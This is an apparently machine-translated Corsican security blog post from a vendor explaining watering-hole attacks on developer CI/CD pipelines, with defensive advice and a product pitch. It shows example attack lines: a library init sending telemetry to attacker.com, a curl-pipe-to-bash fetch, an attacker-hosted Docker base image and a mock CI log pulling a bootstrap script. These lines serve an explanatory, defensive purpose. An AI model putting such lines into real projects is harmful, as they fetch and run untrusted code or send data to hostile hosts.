attacchi à i buchi d'acqua - chì hè un attaccu à i buchi d'acqua

Da u sviluppu à u target: cumu l'attacchi di i Watering Hole s'infiltranu in u vostru Pipeline

A Custruzzione chì hà custruitu a Porta di daretu

Una compilazione passa. Un serviziu si implementa. Tuttu pare pulitu. Ma piattata dentru ci hè una dipendenza avvelenata estratta da una fonte compromessa. Questu hè un attaccu classicu di "watering hole".

In questu scenariu, l'attaccante ùn hà micca intrutu in a vostra infrastruttura. Anu aspettatu chì un sviluppatore visitassi una risorsa di fiducia, un situ di documenti, un repositoriu di pacchetti, o una pagina di scaricamentu di SDK, chì avianu digià cumprumessu. U codice maliziosu hè intrutu in u vostru pipeline cù un simplice cumandamentu pull o install.

Una volta speditu, l'attaccante hà un puntu d'appoghju silenziu in a pruduzzione. È u vostru CI/CD pipeline li hà appena aiutati à ghjunghje ci.

Chì ghjè un attaccu di Watering Hole (è perchè i sviluppatori devenu preoccupassi)

Dunque, chì hè un attaccu di "watering hole"? Hè quandu un attaccante cumprumette una risorsa in a quale i sviluppatori o e squadre anu digià fiducia. Invece di indirizzà direttamente voi, currumpiscenu un situ cumunu o un repositoriu chì probabilmente aduprerete, è aspettanu chì qualchissia pigli l'esca.

L'attacchi di u tippu "watering hole" sò diffirenti da u phishing, chì di solitu mira à e credenziali, è da l'attacchi di a catena di furnimentu à monte chì injectanu codice cattivu in u repositoriu principale di un pacchettu. Quì, a minaccia vene da l'ecosistema intornu à voi: documenti chì aghjunghjenu backdoor, binari SDK scambiati cù trojan, o registri di pacchetti chì servenu versioni alterate.

È e risorse di sviluppu sò obiettivi principali: gestori di pacchetti (npm, pip, Maven), repositori publichi di GitHub, immagini Docker d'aspettu ufficiale è pagine di scaricamentu. Se qualchissia di queste hè compromessa, l'attaccante hè digià in u vostru flussu di sviluppu.

Induve a Trappula hè Piantata: Esempi Veri Cuncentrati nantu à u Sviluppu Attacchi à i buchi d'acqua

L'attacchi à i buchi d'acqua piglianu parechje forme. Eccu uni pochi di modi in cui passanu inosservati da i sviluppatori:

  • Situ di documenti compromessi:
    impurtà { init } da 'malicious-lib';

init({ telemetria: 'https://attacker.com' });
Un esempiu legittimu hè statu cambiatu sutilmente in a ducumentazione. I sviluppatori copianu, incollanu è passanu à a prossima.

  • Script post-installazione maliziosu in PR publicu:

Pare una PR utile, ma installa malware in silenziu.

  • Binariu SDK trojanizatu:
    ./sdk-install.sh # Cuntene un caricatore di seconda tappa nascostu
    U binariu hè telecaricatu da un URL chì pare affidabile, ma hè alteratu.
  • Imagine di basa di Docker manipulata:
    DA u nodu: slim-malicious
  • ESEGUITE bash /tmp/installatore-nascostu.sh
    U nome di l'imagine pare currettu, ma hè ospitatu in un registru piratatu o falsificatu.

Tutti questi attacchi di tippu "watering hole" si basanu nantu à a fiducia di i sviluppatori è nantu à i flussi di travagliu rapidi per evità d'esse rilevati.

Da l'urdinatore portatile à PipelineCumu si sparghje l'infezzione

Un attaccu di watering hole ùn si ferma micca à u navigatore. Una volta chì u codice maliziosu entra in un ambiente lucale, pò viaghjà in silenziu in tutta a vostra catena di consegna:

  1. U sviluppatore visita una risorsa cumprumessa (documenti, repositoriu, situ SDK).
  2. U codice maliziosu sbarca in l'ambiente di sviluppu lucale.
  3. I fugliali o e dipendenze infettate sò aghjunte à un commit è spintu.
  4. CI/CD I travagli eseguiscenu passi di compilazione è installazione utilizendu questi cumpunenti compromessi.
  5. L'artefattu hè speditu è ​​implementatu, integrendu u codice di l'attaccante in pruduzzione.

Sta catena pò sviluppassi in ore, soprattuttu in e squadre à alta velocità.

Per visualizà questu, imaginate un pipeline diagrama chì traccia u percorsu d'infezzione da:

  • Stazione di travagliu di sviluppuEditori, terminali, script d'installazione.
  • Cuntrolla Fonte: Commits, PR, fusioni.
  • CI PipelineInstallazioni di dipendenze, esecuzione di script, custruzioni d'imagine.
  • ProductionLiberazione di l'artefatti, implementazioni è accessu di l'utilizatori.

À ogni passu, un attaccu à un pozzu d'acqua pò passà inosservatu senza e misure di sicurezza adatte.

Scenarii di Rischi Reali in CI/CD

L'attacchi di i "watering hole" ùn si fermanu micca solu à e macchine di sviluppu. Si basanu nantu à u vostru pipeline contru à tè. I risichi veri includenu:

  • Imagine di basa cumprumesse:
    FROM attacker-registry.io/python:3.10-slim
    Malware oculatu aghjuntu durante a custruzzione.
  • Recuperazione di script o strumenti micca fissati:
    curl -s https://pkg.example.com/latest.sh | bash
    "Ultimu" pò cambià in ogni mumentu, soprattuttu s'è u DNS hè dirottatu.
  • Registri CI infettati (esempiu):
    [+] Stallà strumenti…

[+] Ritruvà da https://tools.fakecdn.net/bootstrap.sh

[+] Custruzzione cumpletata.

Tuttu pare bè in superficia. Ma u payload hè digià in l'artefattu.

L'attacchi à i pozzi d'acqua abusanu di a fiducia CI/CD ambienti piazzati in fonti è script esterni.

Rumpendu u Attaccu à u pozzu d'acqua Catena: Difese da u latu di u sviluppatore

Per piantà l'attacchi à i "waterhole" prestu, avete bisognu di rinfurzà e vostre pratiche di sviluppu. A prevenzione di l'attacchi deve cumincià prima chì u codice entre in u vostru CI/CD pipeline:

  • Dipendenze di i pinEvite i tag flottanti cum'è ùltimaAduprate i schedari di serratura per assicurà custruzzioni deterministiche.
  • Verificà e somme di cuntrolluValidà tutti i script remoti, i binari è i pacchetti.
  • Aduprate specchi privatiRiproduce i registri di pacchetti critichi per impedisce l'esposizione à fonti upstream compromesse.
  • Verificate l'imagine di basaAduprà riassunti d'imagine (@sha256) invece di etichette. Scannate tutte l'imagine prima di l'usu.
  • Run SCA/SAST pre-fusioneAutomatizate e scansioni in u vostru flussu di travagliu PR per rilevà e minacce in anticipu.
  • Aduprà Git hooksDetecta è blucca i cambiamenti à risicu altu prima ch'elli ghjunghjenu à u cuntrollu di versione.
  • LAlba codice di terze parti cum'è input micca affidabileAncu e biblioteche aduprate assai ponu purtà risichi nascosti.

A sicurità deve esse integrata in i flussi di travagliu di i sviluppatori. Queste abitudini è cuntrolli aiutanu à bluccà l'attacchi à i "watering hole" prima ch'elli s'intensifichinu.

Lezioni da u campu

Casu 1: Flussu d'eventi (npm)

Un mantenitore di fiducia hà trasferitu u cuntrollu di un pacchettu pupulare. U novu mantenitore hà aghjustatu una dipendenza chì hà arrubatu discretamente i dati di u portafogliu crittograficu.

  • Induve hà fiascatuNisuna rivista di e dipendenze transitive.
  • Lizioni: Aduprà automatizatu SCA per seguità è segnalà i cambiamenti in e dipendenze indirette.

Casu 2: Caricatore di Codecov Bash

Un attaccante hà alteratu un script bash utilizatu in parechji CI. pipelines. Hà esfiltratu sicreti da ambienti CI.

  • Induve hà fiascatuNisuna validazione di a somma di cuntrollu.
  • LizioniVerificate sempre l'arnesi scaricati prima di eseguilli CI/CD.

Tramindui eranu attacchi à e pozze d'acqua. Tramindui pudianu esse stati fermati prima.

Prevenzione in pratica: Mentalità è strumenti DevSecOps

Prevenisce l'attacchi à i "watering hole" significa custruisce una cultura di sviluppatori attenta à a sicurezza:

  • Sposta a sicurità à mancaFurmà i sviluppatori per mette in discussione script inaspettati, cambiamenti di dipendenza o passi d'installazione.
  • Automatizà SCA/SAST: Utilizà attrezzi chì s'integranu in i flussi di travagliu di PR per prevene vulnerabilità cunnisciute è mudelli risicati.
  • Aduprate a validazione hash in ogni locuOgni risorsa esterna deve esse verificata prima di l'esecuzione.
  • Monitorà in tempu reale: A prevenzione da sola ùn basta micca.

Strumentu cum'è Xygeni offre una visibilità in tempu reale in tutta a vostra catena di furnimentu di software. Xygeni monitorizza continuamente l'ambienti di sviluppatore, l'attività Git, CI pipelines, è registri di artefatti per rilevà:

  • Cambiamenti di dipendenza anomali.
  • Mudificazioni suspettose in i script di compilazione.
  • Modelli d'accessu inusuali à fonti di terze parti.

Cù Xygeni, e squadre ponu bluccà e minacce introdutte via attacchi di tippu "watering hole" prima ch'elle si propaghinu, è traccià a fonte di compromissione s'ella si ne passa una. Hè custruitu specificamente per i sistemi muderni. CI/CD ambienti, cù una attenzione particulare à l'alerte azionabili è à l'usabilità di u sviluppatore prima.

Nota finale: Veloce Pipelines, Rischi più veloci

Avà chì u sapete Chì ghjè un attaccu di pozzu d'acqua Sapete chì ùn anu micca bisognu di viulà direttamente a vostra infrastruttura. Riescenu avvelenendu l'arnesi è i siti in cui i sviluppatori anu digià fiducia. Da quì, vostri CI/CD pipeline pò diventà u sistema di distribuzione di l'attaccante.

U veru risicu ùn hè micca solu u cumprumissu, hè a rapidità cù a quale u codice maliziosu si move per u vostru pipeline.

Integrate i cuntrolli di sicurezza in u vostru flussu di sviluppu, micca cum'è una riflessione dopu. Perchè una volta chì hè speditu, hè digià troppu tardi.

sca-tools-software-strumenti-d'analisi-di-cumpusizione
Priorizà, rimedià è assicurà i vostri risichi di software
Uttene u vostru contu gratuitu.
Nisuna carta di creditu necessaria.

Assicurà u vostru sviluppu è a consegna di software

cù a Suite di Prodotti Xygeni